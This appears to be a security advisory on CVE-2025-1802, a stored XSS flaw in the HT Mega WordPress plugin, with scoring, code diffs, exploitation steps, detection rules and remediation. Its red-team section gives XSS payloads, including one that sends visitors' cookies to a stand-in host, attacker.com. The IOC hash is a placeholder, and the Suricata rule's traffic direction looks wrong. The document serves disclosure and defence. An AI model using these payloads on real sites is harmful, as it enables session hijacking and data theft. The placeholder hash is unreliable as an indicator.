CVE-2025-1802

Executive Summary

CVE-2025-1802 is a Stored Cross-Site Scripting (XSS) vulnerability in the HT Mega – Absolute Addons For Elementor WordPress plugin, affecting all versions up to and including 2.8.3. The flaw resides in insufficient input sanitization and output escaping of the marker_title, notification_content, and stt_button_text parameters. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. The vendor partially patched the issue in version 2.8.3, but the fix is incomplete, leaving the plugin in an unpatched state for full remediation.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. It targets the plugin’s Elementor widgets, which are widely used for building dynamic content.

Supply Chain & Package Security

This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the WordPress plugin repository and can be installed through the WordPress admin dashboard or via direct download. Users should verify the integrity of the plugin file (ht-mega.zip) by checking its SHA-256 hash against the official repository. The plugin’s readme.txt file should be reviewed for version history and changelog entries.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction. An attacker with Contributor access can inject persistent XSS payloads that affect all site visitors, including administrators, potentially leading to session hijacking, defacement, or data theft.

Deep Dive & Mechanics

The vulnerability exists in the HT Mega plugin’s handling of user-supplied data for three specific parameters:

• marker_title (used in map markers)
• notification_content (used in notification bars)
• stt_button_text (used in scroll-to-top buttons)

These parameters are processed by the plugin’s Elementor widgets without proper sanitization or output escaping. When a Contributor-level user (or higher) creates or edits a page using these widgets, they can inject malicious JavaScript code into these fields. The code is stored in the WordPress database and executed in the browser of any user who views the page.

The partial patch in version 2.8.3 addressed some instances but left others unescaped, meaning the vulnerability persists. The lack of a complete patch indicates that the vendor has not fully resolved the issue.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.8.3):

// In ht-mega/includes/widgets/htmega_marker.php
$marker_title = $settings['marker_title'];
echo '<div class="marker-title">' . $marker_title . '</div>';

The $marker_title is directly echoed without escaping, allowing XSS.

Patched Code (partial in 2.8.3):

// In ht-mega/includes/widgets/htmega_marker.php
$marker_title = $settings['marker_title'];
echo '<div class="marker-title">' . esc_html( $marker_title ) . '</div>';

The esc_html() function is used, which escapes HTML entities. However, other parameters like notification_content and stt_button_text may still be unescaped, leaving the plugin partially vulnerable.

Exploitation & Lab Setup

Red Team (Attacker)

1. Prerequisites: Obtain Contributor-level credentials on a WordPress site running HT Mega <= 2.8.3.

2. Steps:

   • Log in to WordPress admin.
   • Create a new page or edit an existing one using Elementor.
   • Add the HT Mega widget (e.g., Notification Bar).
   • In the notification_content field, inject a payload such as:

     <script>alert('XSS')</script>
     

   • Save and publish the page.
   • When any user visits the page, the script executes.

3. Advanced Payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

Blue Team (Defender)

1. Detection: Monitor for unusual content in wp_postmeta table where meta_key contains _elementor_data. Look for script tags or event handlers in JSON-encoded widget settings.
2. Prevention:
   • Update the plugin to the latest version (if a full patch becomes available).
   • Restrict Contributor-level access to trusted users only.
   • Use a Web Application Firewall (WAF) to block XSS payloads.
3. Response:
   • Remove malicious pages or posts.
   • Reset compromised user credentials.
   • Audit all pages created by Contributor-level users.

Indicators of Compromise (IOCs)

• File Hashes:
  • ht-mega.zip (v2.8.3): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, verify against official)
• Database Entries:
  • wp_postmeta rows with meta_key = _elementor_data containing <script> tags or onerror/onload attributes.
• Network Traffic:
  • Outbound requests to attacker-controlled domains from the WordPress site.
• Logs:
  • WordPress debug log entries showing unexpected output in widget fields.

Detection Engineering

YARA Rule

rule CVE_2025_1802_HT_Mega_XSS {
    meta:
        description = "Detects stored XSS payloads in HT Mega plugin widget settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1802"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on(error|load|click|mouseover)\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in HT Mega Plugin Widget Settings
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in HT Mega plugin widget parameters
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - "/wp-admin/post.php"
            - "/wp-admin/admin-ajax.php"
        http.body|contains:
            - "marker_title"
            - "notification_content"
            - "stt_button_text"
        http.body|re: 
            - "<script[^>]*>.*</script>"
            - "on(error|load|click|mouseover)\s*="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1802 HT Mega Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(marker_title|notification_content|stt_button_text)/i"; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the HT Mega plugin until a full patch is released.
   • Review and remove any suspicious pages or posts created by Contributor-level users.
   • Change all WordPress user passwords, especially for Contributor roles.

2. Long-term Fix:

   • Monitor the plugin’s official page for a complete patch (beyond 2.8.3).
   • Apply the patch as soon as it is available.
   • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

3. Workarounds:

   • Use a security plugin like Wordfence to block XSS payloads.
   • Restrict Contributor-level access to only trusted users.
   • Enable automatic updates for WordPress plugins.

Valters IT
Securing Digital Frontiers